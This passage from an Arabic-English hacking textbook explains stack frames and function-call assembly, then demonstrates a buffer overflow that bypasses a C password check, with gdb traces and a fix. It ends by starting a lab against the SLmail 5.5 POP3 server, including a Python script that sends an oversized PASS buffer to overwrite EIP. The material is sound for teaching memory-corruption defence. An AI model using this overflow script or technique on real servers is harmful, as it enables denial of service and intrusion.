"When a program is executed, it is laid out in an organized manner—various elements of the
program are mapped into memory. First, the operating system creates an address space in which
the program will run. This address space includes the actual program instructions as well as any
required data. Next, information is loaded from the program’s executable file to the newly
created address space. There are three types of segments: .text, .bss, and .data. The .text segment
is mapped as read-only, whereas .data and .bss are writable. The .bss and .data segments are

Security & Attacks


[247]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

reserved for global variables. The .data segment contains static initialized data, and the .bss
segment contains uninitialized data. The final segment, .text, holds the program instructions.
Finally, the stack and the heap are initialized".

↑ Lower addresses (0x08000000)


Shared libraries
.text
.bss
Heap (grows ↓)
Stack (grows ↑)
env pointer
Argc
↓ Higher addresses (0xbfffffff)

‫؟‬..Stack ‫ذل تتذكر متى كُنا نتعامل مع ال‬


.Function Call ‫تعاملنا معها عندما احتجنا لجراء‬

ُ ‫س‬
.!‫ ذذه‬Function Call ‫ و عملية ال‬Stack ‫نأطذ نُزذة طفيفة داطل ال‬

Let’s think about what happens in a function call:


 When a function call is executed, the arguments need to be evaluated to values.
 Then, control flow jumps to the body of the function, and code begins executing there.
 Once a return statement has been encountered, we're done with the function, and return back to
the function call.

ّ ُ‫ ُجزء ُم‬Stack ‫َكون يف ال‬


.“Stack Frame” ‫ نُطلق عليه‬.function ‫صص هلذه ال‬ ّ ‫ َيت‬،“function call” ‫لكُل َع َملية‬
ُ ‫ َح‬،main( ) ‫لنتخيل مع ًا أننا داطل برنامج صغري يبدأ بال‬
‫ كام يبدو يف‬،‫ حينها عىل ذذه اهليئة‬Stack ‫يث تكون ال‬
:)1( ‫ يف الشكل رقم‬،‫الصفحة التالية‬

Security & Attacks


[248]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫كام ترى يظهر ال ‪ stack frame‬اخلاص بال ) (‪ ،main‬و ُيشري ال‬


‫)‪ Stack Pointer (SP‬لىل بداية ال ‪ .Function‬يظهر ذذا ال‬
‫‪ Frame‬عندما تبدأ ال ) (‪ main‬عملها‪ .‬لنتخيل وجود‪function‬‬

‫أطرى حيدث هلا ‪ call‬من داطل ال ) (‪ ،main‬اسمها ) (‪.foo‬‬

‫ذذه ال ) (‪ foo‬تأطذ مثالً ‪ ،Two Arguments‬ذذه ال‬


‫‪َ Arguments‬سنَكون بحاجة ل َوضعهم يف ال ‪.Stack‬‬
‫ستقوم ) (‪ foo‬ذذه بإجراء عملية حسابية ولرجاع النانج وذو ال‬
‫‪ return value‬لىل ال ) (‪ main‬كام اعتدنا من قبل‪.‬‬
‫‪Figure 1‬‬

‫يكون شكل ال ‪ stack‬كام يظهر يف الشكل رقم (‪:)2‬‬


‫تم َع َمل ‪ Push‬لل ‪ Arguments‬اخلاصة بال ) (‪ foo‬لىل ال ‪ ،Stack‬ثم انتقل ال ‪ Stack Pointer‬ل ُيشري لىل ُ‬
‫حيث‬
‫ال ‪ ..Return value‬ذذا ال ‪ Return value‬سيتم حسابه‬
‫بواسطة ) (‪ .foo‬وبالتايل سيتم ملئ ذذه ال ‪ space‬بعد أن‬
‫تنتهي ) (‪ foo‬من عملها‪ .‬بعد وضع ال ‪ُ ،Arguments‬ربام‬
‫متتلك ذذه ال ‪ function‬عدد من ال ‪..local variables‬‬
‫ٍ‬
‫ساحة ما عىل ال ‪ Stack‬كي‬ ‫َستحتاج ) (‪ foo‬ل َع َمل ‪ push‬مل‬
‫تستخدمها ل َوضع ذذه ال "‪ "Local Variables‬ولجراء‬

‫‪Figure 2‬‬
‫عملياهتا‪.‬‬

‫‪Security & Attacks‬‬


‫]‪[249‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫الشكل التايل‪ ،‬رقم (‪ )3‬يوضح ما ستبدو عليه ال ‪ Stack‬بعد ذذه التعديالت‪:‬‬

‫‪Figure 3‬‬

‫َل َقد تم تكوين ال ‪ Frame‬اخلاص بال ) (‪ foo‬وانتقل ال ‪ Stack Pointer‬داطل ال ) (‪.foo‬‬

‫ملاذا ينتقل ال ‪ SP‬لليها؟‬


‫ألن عملية ال ‪ allocation‬للمساحة اخلاصة ب ) (‪ foo‬ستتم بعمل ‪ decrement‬لل ‪ ،ESP‬وبالتايل ينتقل ال ‪ SP‬هلذه‬
‫املساحة اجلديدة‪.‬‬

‫ولكن ما ذذا ال ‪ FP‬الذي ظهرلنا؟ ‪..‬لنه ال ”‪.“Frame Pointer‬‬

‫‪Security & Attacks‬‬


‫]‪[250‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

ُ ‫ بتحريكه لىل‬foo( ) ‫ قبل أن تقو َم‬Stack Pointer ‫كان َيقف عليه ال‬
‫حيث ال‬ َ ‫ الذي‬Address ‫ذذا اليشء ُيشري لىل ال‬
.‫ اخلاصة ِبا‬Local Variables
Points to the location where the stack pointer was, just before foo( ) moved the stack pointer
for foo( )'s own local variables.
‫وملاذا ُيشري لىل ذلك املوضع؟‬
.‫ من عملها‬foo( ) ‫ بالعودة لليه مر ًة أطرى بعد أن تنتهي‬Stack Pointer ‫كي يتمكن ال‬

‫كيف يعود لذ ًا؟‬


reduce ‫ ويسبب ذلك حدوث‬FP ‫ لىل ال‬SP ‫ قينتقل ال‬move [%EBP, %ESP] :‫ أشبه ِبذه‬instruction ‫بتنفيذ‬

(4( ‫ كام ذو موضح يف الشكل رقم‬.stack ‫لل‬

Figure 4

Security & Attacks


[251]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

..‫ بمثال عميل‬function call ‫سأوضح لك عملية ال‬


:‫ماييل اخلطوات بالرتتيب‬
1. Push the parameters in the reverse order (right to left).
2. "Call" function now. It implicitly pushes the return address into STACK.
[[ call func ]]
َ ‫ ال َختلط‬..!‫(انتبه‬
)return value ‫ وال‬return address ‫بني ال‬
------ Now enters the called procedure ------

3. Push the current EBP ie. Frame Pointer (FP) of calling function into stack. We need to do
this to continue with the execution of calling function after return from the called
function. [[ pushl %ebp ]]
4. Copy the ESP to EBP. (yes, this location will be new FRAME POINTER)
[[ movl %esp, %ebp ]]
5. Allocate space on stack for local variables. It's done by decrementing ESP.
[[ subl $4, %esp ]]

------ Do some processing ------

6. Put the value to be returned in EAX.


----- Start unwinding STACK ------
7. Copy current EBP to ESP, it will reduce stack's size. Now we have old FP at the top of
the stack.
[[ movl %ebp, %esp]]
8. Pop a 32 bit value (which is old frame pointer) and stuff it into EBP. (undoing Step 3)
[[ popl %ebp ]]
9. The "ret" instruction pops a 32 bit value from the stack and stuffs into the program
counter.
[[ ret ]]

** Steps 7 and 8 are combined in single instruction "leave".

Security & Attacks


[252]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

:Assembly code ‫واآلن لنشاذد ذذه اخلطوات بال‬

func1:
pushl %ebp <-- Step 3, Push EBP
movl %esp, %ebp <-- Step 4, Copy ESP -> EBP
subl $4, %esp <-- Step 5, Create space on stack for t
movl $8, -4(%ebp) <-- Initialize "t" to 8
movl -4(%ebp), %eax <-- Step 6, Copy "t" to EAX
addl 8(%ebp), %eax <-- Step 6, Add "c" to EAX
leave <-- Step 7 and 8:
7: Restore ESP (EBP -> ESP)
8: Restore EBP (Pop STACK -> EBP)
ret <-- Step 9, (Pop STACK -> Program Counter)

main:
.........
pushl a <-- Step 1, push parameters
call func1 <-- Step 2, call func1
addl $16, %esp
movl %eax, -4(%ebp)
movl -4(%ebp), %eax
movl %eax, c
.........
articles.manugarg.com ‫املثال مقتبس من موقع‬

Stack Overflow

ُ
.Stack Overflow ‫سنأطذ مثال لنُوضح به ال‬

‫ عن طريق‬user authentication ‫ لتقوم َب َع َمل ال‬main( ) ‫ َيتم استدعاؤذا من ال‬Function ‫ما ييل كود عبارة عن‬
ٍ
.‫ ُثم َعرض النتائج‬،‫بقيمة ما‬ ُ ‫ لتقوم ذ َي‬،‫كتابتك لكَل َمة املُرور‬
‫بمقارنَتها‬

Security & Attacks


[253]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int check_authentication(char *password) {


int auth_flag = 0;
char password_buffer[16];

strcpy(password_buffer, password);

if(strcmp(password_buffer, "brillig") == 0)
auth_flag = 1;
if(strcmp(password_buffer, "outgrabe") == 0)
auth_flag = 1;

return auth_flag;
}

int main(int argc, char *argv[]) {


if(argc < 2) {
printf("Usage: %s <password>\n", argv[0]);
exit(0);
}
if(check_authentication(argv[1])) {
printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
printf(" Access Granted.\n");
printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
} else {
printf("\nAccess Denied.\n");
}
}

،‫ وذي كَلمة ا ُملرور‬user ‫ من ال‬argv[1] ‫ ستقوم باستقبال‬check_authentication( ) ‫ظهر يف املثال‬


َ ‫َي‬

Security & Attacks


[254]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

َ ‫“ ليَتم ط‬outgrabe” ‫“ أو‬brilling” ‫ ُثم ُمقارنتها بالقيمة‬password_buffer ‫لتقوم بوضعها يف ال‬


“Access ‫باعة عبارة‬

.Granted”
:‫ذيا لنُجرب ذذا الكود‬..
reader@hacking:~/booksrc $ gcc -g -o auth_overflow auth_overflow.c
reader@hacking:~/booksrc $ ./auth_overflow
Usage: ./auth_overflow <password>
reader@hacking:~/booksrc $ ./auth_overflow test
Access Denied.
reader@hacking:~/booksrc $ ./auth_overflow brillig
-=-=-=-=-=-=-=-=-=-=-=-=-=-
Access Granted.
-=-=-=-=-=-=-=-=-=-=-=-=-=-
reader@hacking:~/booksrc $ ./auth_overflow outgrabe
-=-=-=-=-=-=-=-=-=-=-=-=-=-
Access Granted.
-=-=-=-=-=-=-=-=-=-=-=-=-=-
reader@hacking:~/booksrc $

.!Access Denied ‫ َظ َه َرت لنا رسالة‬test ‫كَام تُالحظ عند لدطالنا كَل َمة ُمرور‬
‫حلصول عىل ال‬
ُ ‫خللل يف َسري الربنامج ُما َيتس ّبب يف ا‬
َ ‫ أكرب م َن الالزم َسنُالحظ ُحدوث ا‬input ‫ولكن عندَ ُحماولة لدطال‬
.!‫ بدون احلاجة لكتابة كَل َمة املرور‬Access

reader@hacking:~/booksrc $ ./auth_overflow
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-=-=-=-=-=-=-=-=-=-=-=-=-=-
Access Granted.
-=-=-=-=-=-=-=-=-=-=-=-=-=-
reader@hacking:~/booksrc $
.!Password ‫لقد متكنا من الدطول بدون ال‬

Security & Attacks


[255]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

َ ‫ت‬
‫ ونقوم بوضع‬،Debugger ‫ َسنقوم بتشغيل الربنامج باستخدام ال‬..‫َعال نُشاذد ما حدث بشكل تفصييل‬
.check_authenticaion( ) ‫ اخلاص بال‬return value ‫ وآطر عند ال‬،buffer ‫ عند َعملية نَسخ ال‬Breakpoint
reader@hacking:~/booksrc $ gdb -q ./auth_overflow
Using host libthread_db library
"/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) list 1
1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <string.h>
4
5 int check_authentication(char *password) {
6 int auth_flag = 0;
7 char password_buffer[16];
8
9 strcpy(password_buffer, password);
10
(gdb)
11 if(strcmp(password_buffer, "brillig") == 0)
12 auth_flag = 1;
13 if(strcmp(password_buffer, "outgrabe") == 0)
14 auth_flag = 1;
15
16 return auth_flag;
17 }
18
19 int main(int argc, char *argv[]) {
20 if(argc < 2) {
(gdb) break 9
Breakpoint 1 at 0x8048421: file auth_overflow.c, line 9.
(gdb) break 16
Breakpoint 2 at 0x804846f: file auth_overflow.c, line 16.
(gdb)

(gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA


Starting program: /home/reader/booksrc/auth_overflow
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Security & Attacks


[256]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

Breakpoint 1, check_authentication (password=0xbffff9af 'A' <repeats


30 times>) at
auth_overflow.c:9
9 strcpy(password_buffer, password);
(gdb) x/s password_buffer
0xbffff7a0: ")????o??????)\205\004\b?o??p???????"
(gdb) x/x &auth_flag
0xbffff7bc: 0x00000000
(gdb) print 0xbffff7bc - 0xbffff7a0
$1 = 28
(gdb) x/16xw password_buffer
0xbffff7a0: 0xb7f9f729 0xb7fd6ff4 0xbffff7d8 0x08048529
0xbffff7b0: 0xb7fd6ff4 0xbffff870 0xbffff7d8 0x00000000
0xbffff7c0: 0xb7ff47b0 0x08048510 0xbffff7d8 0x080484bb
0xbffff7d0: 0xbffff9af 0x08048510 0xbffff838 0xb7eafebc
(gdb)

(gdb) continue
Continuing.
Breakpoint 2, check_authentication (password=0xbffff9af 'A' <repeats
30 times>) at
auth_overflow.c:16
16 return auth_flag;
(gdb) x/s password_buffer
0xbffff7a0: 'A' <repeats 30 times>
(gdb) x/x &auth_flag
0xbffff7bc: 0x00004141
(gdb) x/16xw password_buffer
0xbffff7a0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff7b0: 0x41414141 0x41414141 0x41414141 0x00004141
0xbffff7c0: 0xb7ff47b0 0x08048510 0xbffff7d8 0x080484bb
0xbffff7d0: 0xbffff9af 0x08048510 0xbffff838 0xb7eafebc
(gdb) x/4cb &auth_flag
0xbffff7bc: 65 'A' 65 'A' 0 '\0' 0 '\0'
(gdb) x/dw &auth_flag
0xbffff7bc: 16705
(gdb)

Security & Attacks


[257]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

(gdb) continue
Continuing.
-=-=-=-=-=-=-=-=-=-=-=-=-=-
Access Granted.
-=-=-=-=-=-=-=-=-=-=-=-=-=-
Program exited with code 034.
(gdb)

:‫ األوىل عند ذذا السطر‬breakpoint ‫َيظ َهر بالنتائج أننا ُقمنا بتحديد‬
9 strcpy(password_buffer, password);

.Memory ‫ حالة ال‬gdb ‫حيث يتوقف الربنامج حينها و ُيظهر َلنا ال‬
ُ
0xbffff7a0 :address ‫تواجد يف ذذا ال‬
َ ‫ َي‬password_buffer ‫سنُالحظ أن ال‬
0x00000000 :)0( ‫وحيمل القيمة‬
َ 0xbffff7bc :address ‫" َي َقع يف ذذا ال‬Auth_flag variable" ‫وأن ال‬

:‫ كام ييل‬،28 byets ‫ لنَجد أهنا‬Auth_flag ‫ التي تَسبق ال‬bytes ‫ُقمنا بحساب َعدد ال‬
(gdb) x/16xw password_buffer
0xbffff7a0: 0xb7f9f729 0xb7fd6ff4 0xbffff7d8 0x08048529
0xbffff7b0: 0xb7fd6ff4 0xbffff870 0xbffff7d8
(4 bytes * 7 = 28 bytes) :‫ ق ُيمكنُنا أن نقول‬4 bytes ‫ منهم عبارة عن‬address ‫بام أن كُل‬
0x00000000 :‫" وذو ال‬Location of auth_flag" ‫ثم يبدأ بعدذا ال‬
.16 ‫ وذ َي عندَ السطر‬،‫ الثانية‬Breakpoint ‫ذيا لنُكمل َسري الربنامج لنَت ََو ّقف عندَ ال‬
(gdb) x/x &auth_flag
0xbffff7bc: 0x00004141
(gdb) x/16xw password_buffer
0xbffff7a0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff7b0: 0x41414141 0x41414141 0x41414141 0x00004141
AA ‫ من ُه ب‬2 bytes ‫ ققد تَم استبدال أول‬،‫ ُجزئي‬overflow ‫ قد تَعر َض ل‬auth_flag ‫لن ُه ُيظهر َلنا أن ال‬

Security & Attacks


[258]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫وبالتايل تغريت قيمته من صفر لىل قيمة ُأطرى ذ َي ‪ 16705‬كام يظهر يف الصفحة التالية‪:‬‬
‫‪(gdb) x/dw &auth_flag‬‬
‫‪0xbffff7bc: 16705‬‬

‫ونحن كُنا قد استخدمنا دالة ‪ if‬لتَعتَرب أي قيمة غري الصفر قيمة مقبولة!‪:‬‬
‫ُ‬
‫)‪if(strcmp(password_buffer, "brillig") == 0‬‬
‫;‪auth_flag = 1‬‬
‫)‪if(strcmp(password_buffer, "outgrabe") == 0‬‬
‫;‪auth_flag = 1‬‬

‫;‪return auth_flag‬‬
‫وبالتايل َس َيحمل ا ُملتغري ‪ auth_flag‬قيمة غري الصفر‪ُ ،‬ما يؤدي لنجاح عملية ال ‪.!Authentication‬‬

‫نستنتج من ذذا أن ال ‪ auth_flag variable‬ذو ال ”‪ “execution control point‬هلذا الربنامج‪ ،‬الذي لو ُقمنا‬
‫بالتالعب به نُحقق اهلدف!‪.‬‬

‫واآلن كيف لنا تفادي ذذه الثغرة‪..‬؟‬


‫كُنا يف املثال السابق نقوم بعمل ‪ overflow‬لل ‪ buffer‬الذي سيستقبل منا ‪ input‬وذي كلمة املرور‪ ،‬ذذا ال ‪buffer‬‬

‫ذو‪.password_buffer[16] :‬‬

‫حيث تم ختصيص ‪ 16‬حرف لذلك‪ ،‬بينام ُقمنا نحن بإدطال احلرف ‪ُ A‬مك َّرر ‪ 30‬مرة!‪ ،‬وبام أن ال ‪ auth_flag‬يقع‬
‫ُ‬
‫مكانه بعد ال ‪ password_buffer‬مبارش ًة يف ال ‪ memory‬ققد طال ُه اخلطر أيض ًا!‪.‬‬

‫َسنَتخذ لجراء بسيط لتفادي حدوث ذذا اخللل‪:‬‬

‫‪Security & Attacks‬‬


‫]‪[259‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

‫ سنقوم بوضعه قبل ال‬memory ‫ يف ال‬buffer ‫ بعد ال‬auth_flag ‫ قبدالً من تواجد ال‬..‫سنقوم بتبديل األماكن‬
.overflow ‫َعرضه لل‬
ُّ ‫ وبالتايل سنضمن عدم ت‬buffer

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int check_authentication(char *password) {
char password_buffer[16];
int auth_flag = 0;

strcpy(password_buffer, password);

if(strcmp(password_buffer, "brillig") == 0)
auth_flag = 1;
if(strcmp(password_buffer, "outgrabe") == 0)
auth_flag = 1;

return auth_flag;
}

int main(int argc, char *argv[]) {


if(argc < 2) {
printf("Usage: %s <password>\n", argv[0]);
exit(0);
}
if(check_authentication(argv[1])) {
printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
printf(" Access Granted.\n");
printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
} else {
printf("\nAccess Denied.\n");
}
}

Security & Attacks


[260]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

:!‫ذيا لنتأكد من قاعلية ذذا اإلجراء‬


reader@hacking:~/booksrc $ gcc -g auth_overflow2.c
reader@hacking:~/booksrc $ gdb -q ./a.out
Using host libthread_db library
"/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) list 1
1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <string.h>
4
5 int check_authentication(char *password) {
6 char password_buffer[16];
7 int auth_flag = 0;
8
9 strcpy(password_buffer, password);
10
(gdb)
11 if(strcmp(password_buffer, "brillig") == 0)
12 auth_flag = 1;
13 if(strcmp(password_buffer, "outgrabe") == 0)
14 auth_flag = 1;
15
16 return auth_flag;
17 }
18
19 int main(int argc, char *argv[]) {
20 if(argc < 2) {
(gdb) break 9
Breakpoint 1 at 0x8048421: file auth_overflow2.c, line 9.
(gdb) break 16
Breakpoint 2 at 0x804846f: file auth_overflow2.c, line 16.
(gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Starting program: /home/reader/booksrc/a.out
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 1, check_authentication (password=0xbffff9b7 'A' <repeats
30 times>) at
auth_overflow2.c:9

Security & Attacks


[261]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

9 strcpy(password_buffer, password);
(gdb) x/s password_buffer
0xbffff7c0:
"?o??\200????????o???G??\020\205\004\b?????\204\004\b????\020\205\004\
bH???????\002"
(gdb) x/x &auth_flag
0xbffff7bc: 0x00000000
(gdb) x/16xw &auth_flag
0xbffff7bc: 0x00000000 0xb7fd6ff4 0xbffff880 0xbffff7e8
0xbffff7cc: 0xb7fd6ff4 0xb7ff47b0 0x08048510 0xbffff7e8
0xbffff7dc: 0x080484bb 0xbffff9b7 0x08048510 0xbffff848
0xbffff7ec: 0xb7eafebc 0x00000002 0xbffff874 0xbffff880
(gdb)
(gdb) cont
Continuing.
Breakpoint 2, check_authentication (password=0xbffff9b7 'A' <repeats
30 times>)
at auth_overflow2.c:16
16 return auth_flag;
(gdb) x/s password_buffer
0xbffff7c0: 'A' <repeats 30 times>
(gdb) x/x &auth_flag
0xbffff7bc: 0x00000000
(gdb) x/16xw &auth_flag
0xbffff7bc: 0x00000000 0x41414141 0x41414141 0x41414141
0xbffff7cc: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff7dc: 0x08004141 0xbffff9b7 0x08048510 0xbffff848
0xbffff7ec: 0xb7eafebc 0x00000002 0xbffff874 0xbffff880
(gdb)
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x08004141 in ?? ()

‫واآلن ما رأيك؟‬
..auth_flag ‫ لل‬overflow ‫مل حيدُ ث‬

Security & Attacks


[262]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫بدالً من ذلك حدث ال ‪ overflow‬اجلُزئي هلذا ال ‪0x08004141 :address‬‬

‫مل ينجح ذدقنا باحلصول عىل ال ‪.. ،Access‬ولكن ذذا مل يمنع حدوث ال ‪ .!!Crash‬ذذا َيقودنا لىل مالحظة الفرق‬
‫بني املفهومني التاليني!‪ ،‬بني ال ‪ Exploitability‬و ال ‪..Crashing‬‬

‫‪Crashing on Application‬‬
‫”‪“Is the form of Denial of Service against the application‬‬

‫وما ذذا ال ‪ DoS Attack‬؟‬

‫لنه ذجوم يتلخص يف حماولة حجب أو تعليق )‪ (Suspend‬للخدمة املُ َقدمة من ‪ Server‬ما أو أي ‪ Resource‬يتعامل‬
‫معه ال ‪ Users‬عن طريق لجهاده بكميات غري ُم َتوق َعة م َن ال ‪ inputs‬التي ال يتمكن من ُمعاجلَتها أو التعا ُمل َم َعها!‪.‬‬

‫‪Exploitability‬‬
‫”‪“Injecting and executing my own code within the vulnerable process‬‬

‫نستطيع أن نلخص األمر يف ذذه العبارة‪:‬‬


‫”!‪“The Exploitability is the determination whether a crash can be tuned into an Exploit‬‬

‫نقوم باطتبار ذذا األمر عن طريق ال ‪ Debugging‬وعمل ال ‪.initial analysis‬‬


‫مث ً‬
‫ال أن نستطيع اإلجابة عىل "ملاذا"؟ و "أين"‪..‬؟‬
‫‪ ‬قاألوىل‪ ..‬ملاذا حدث ذذا ال ‪ ،crash‬ماخللل احلادث يف الربنامج‪ ،‬والذي سبب ذذا ال ‪crash‬؟‪.‬‬
‫‪ ‬والثانية‪ ..‬أين حدث ذذا ال ‪crash‬؟ ‪..‬يف أي موضع من الربنامج أو يف أي سطر برجمي حدث ذذا اخللل؟‬
‫ذذه ال ‪ analysis‬نَقوم ِبا َعن َطريق ُمرا َق َبة ال ‪.Registers‬‬

‫‪Security & Attacks‬‬


‫]‪[263‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫قمث ً‬
‫ال معرقة ما لذا كان ال ‪ُ EIP‬يشري لىل ال ‪ Stack‬أو ال ‪ Heap‬عند حدوث ال ‪ُ ،crash‬يفيدُ نا يف حتديد املكان أو ال‬
‫‪ Block‬الذي سنقوم بعمل ‪ inject‬لل ‪ code‬أو ال ‪ exploit‬به!‪ُ ،‬ثم القيام بتوجيه ال ‪ Stack Pointer‬لىل ذذا املكان‬
‫داطل ال ‪( memory‬الذي َمتَكنّا من َوضع ال ‪ Shellcode‬به)‪.‬‬
‫أيض ًا خيدمنا ال ‪ُ Debugger‬ذنا ألنه َيقوم ب َع َمل ‪ capture‬حلالة الربنامج عندما َحيدُ ث ال ‪.Exception‬‬

‫ما ذذا ال ‪..Exception‬؟‬


‫أستطيع وصفه عىل ذذا النحو‪:‬‬
‫‪It is a potentially uncoverable operation in a program that may cause that program to terminate‬‬
‫‪unexpectedly.‬‬

‫من األمثلة عىل ذذا احلدث‪:‬‬


‫‪ ‬عملية القسمة عىل الصفر!‪.‬‬
‫‪ ‬وأيض ًا عندما ُحياول الربنامج َع َمل ‪ access‬ألي ‪ location‬داطل ال ‪ memory‬ليست ُُم َ ّص َصة ل ُه!‪ ،‬أو التي ال‬
‫َيمتلك َصالحيات الدُ طول لليها‪ ،‬ألن ُه كام نعلم أن ال ‪ Operating System‬يقوم بعمل‬
‫"‪ "process isolation‬كَنوع من ال ‪.protection mechanisms‬‬

‫‪Security & Attacks‬‬


‫]‪[264‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫‪Putting things all together‬‬

‫اآلن وبعد أن استوعبت العديد من األمور الشيقة‪ ،‬سنقوم بمامرسة عملية لتدعيم كل ما تم رشح ُه من قبل‪.‬‬

‫ماذا سنحتاج لبيئة اإلطتبار؟‬


‫‪ -1‬سنستخدم برنامج ال ‪ُ VMware workstation 12‬يمكنك حتميل ُه من املوقع اخلاص ِبم‪.‬‬

‫‪ -2‬نُسخة ‪ ،Kali Linux‬أيض ًا ُيمكنُك حتميلها بشكل جماين من املوقع اخلاص ِبا‪ ،‬كام ُيمكنُك حتميلها كنُسخة من‬

‫نوع ‪.VMware Image‬‬

‫‪ -3‬نُسخة ‪ Win XP‬بامتداد ‪.. .iso‬أيض ًا ينجح اإلطرتاق مع ‪.Windows 7‬‬

‫‪ -4‬نُسخة برنامج ‪.SLmail 5.5‬‬

‫وما ذذا ال ‪SLmail‬؟‬

‫لنه ‪ Mail Server‬يدعم ال ‪ POP3‬وال ‪ SMTP‬ويعمل عىل أنظمة ويندوز‪.‬‬

‫‪ -5‬برنامج ‪ Immunity Debugger‬لنقوم بتنصيبه عىل ُنسخة ال ‪.XP‬‬

‫قبل أن نبدأ‪..‬‬
‫سنتكلم باطتصار عن أشهر تقنيتني للحاميه تستخدمهام أنظمة التشغيل‪ ،‬مها ‪.ASLR & DEP‬‬
‫ألننا سنتعرض هلم أثناء لجراء اطتبار اإلطرتاق‪..‬‬

‫‪Security & Attacks‬‬


‫]‪[265‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

Data Execution Prevention (DEP):


is a set of hardware, and software, technologies that perform additional checks on memory, to
help prevent malicious code from running on a system. The primary benefit of DEP is to help
prevent code execution by raising an exception, when execution occurs.

Address Space Layout Randomization (ASLR):


ASLR randomizes the base addresses of loaded applications, and DLLs, every
time the Operating System is booted.

..‫ذيا لنبدأ رحلتنا‬


.‫عرب عن البيئة املُستخدَ مة يف اإلطتبار‬
ِّ ‫يف الصفحة التالية شكل ُي‬
.Win XP ‫ اخلاص بنا عىل ال‬Debugger ‫ وال‬SLmail ‫ُقمنا قيه بتنصيب ال‬

..‫نأيت لىل اخلُطوة األوىل‬

Preparing and Sending our Buffer


‫ وذو‬،110 ‫ عرب املنفذ‬traffic ‫ أنه يسمح بمرور ال‬Windows ‫ اخلاص بال‬Firewall ‫تأكد يف البداية من لعدادات ال‬
.‫ بشكل مؤقت لن أردت‬Firewall ‫ أو يمكنك ليقاف ال‬،POP3 ‫منفذ ال‬

Security & Attacks


[266]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

:‫ ولضاقة ذذا الكود بداطله‬txt ‫ وقتح ملف‬،Kali Linux ‫سنقوم بتشغيل‬

#!/usr/bin/python

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buffer = 'A' * 2700
try:
print "\Sending evil buffer..."
s.connect(('192.168.18.131',110))
data = s.recv(1024)
s.send('USER username' + '\r\n')
data = s.recv(1024)
s.send('PASS' + buffer + '\r\n')
print "\Done!."
except:

Security & Attacks


[267]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫"!‪print "Could not connect‬‬

‫ذذا الكود مكتوب بلغة ال ‪ ،Python‬ذو باطتصار يقوم باإلتصال باملنفذ ‪ 110‬وذو املنفذ اخلاص بربوتوكول ‪POP3‬‬

‫يف حماولة لعمل ‪ Remote Access‬لىل ال ‪ ،Mail box‬وذلك بعمل ذجوم ‪ BoF‬بإرسال حرف ال ‪ُ A‬مكرر ًا ‪2700‬‬

‫مرة لىل ال ‪ Buffer‬ا ُملخصص لنا!‪.‬‬


‫قم بحفظ امللف واقتح ال ‪ Terminal‬لديك‪ُ .‬ثم اذذب لىل الويندوز وقم بتشغيل ال ‪ ،Debugger‬واطرت ‪ُ File‬ثم‬
‫‪ Attach‬ثم ‪ Slmail‬س ُتالحظ وجود منفذ ال ‪ POP3‬وذو ‪ 110‬حتت طانة ال ‪ُ ،Listening‬ثم اضغط عىل ‪ .Run‬قم‬
‫بالقفز لىل ال ‪ Terminal‬لتنفيذ الكود بكتابة األمر ‪ ./fuzz2.py‬حيث ‪ fuzz2‬ذو اسم امللف‪:‬‬

‫‪Security & Attacks‬‬


‫]‪[268‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫ذيا لنعود لىل ال ‪ Debugger‬داطل ال ‪ Win XP‬لنرى ما حدث!‪..‬‬


‫لقد حدث ‪ Overflow‬بالفعل كام ترى‪ ،‬وقد وصل لىل ال ‪.EIP Register‬‬

‫ذذا جيد‪ ..‬ذيا لننتقل لىل اخلطوة الثانية‬

‫‪Binary Tree Analysis‬‬


‫رس َلة‪.‬‬
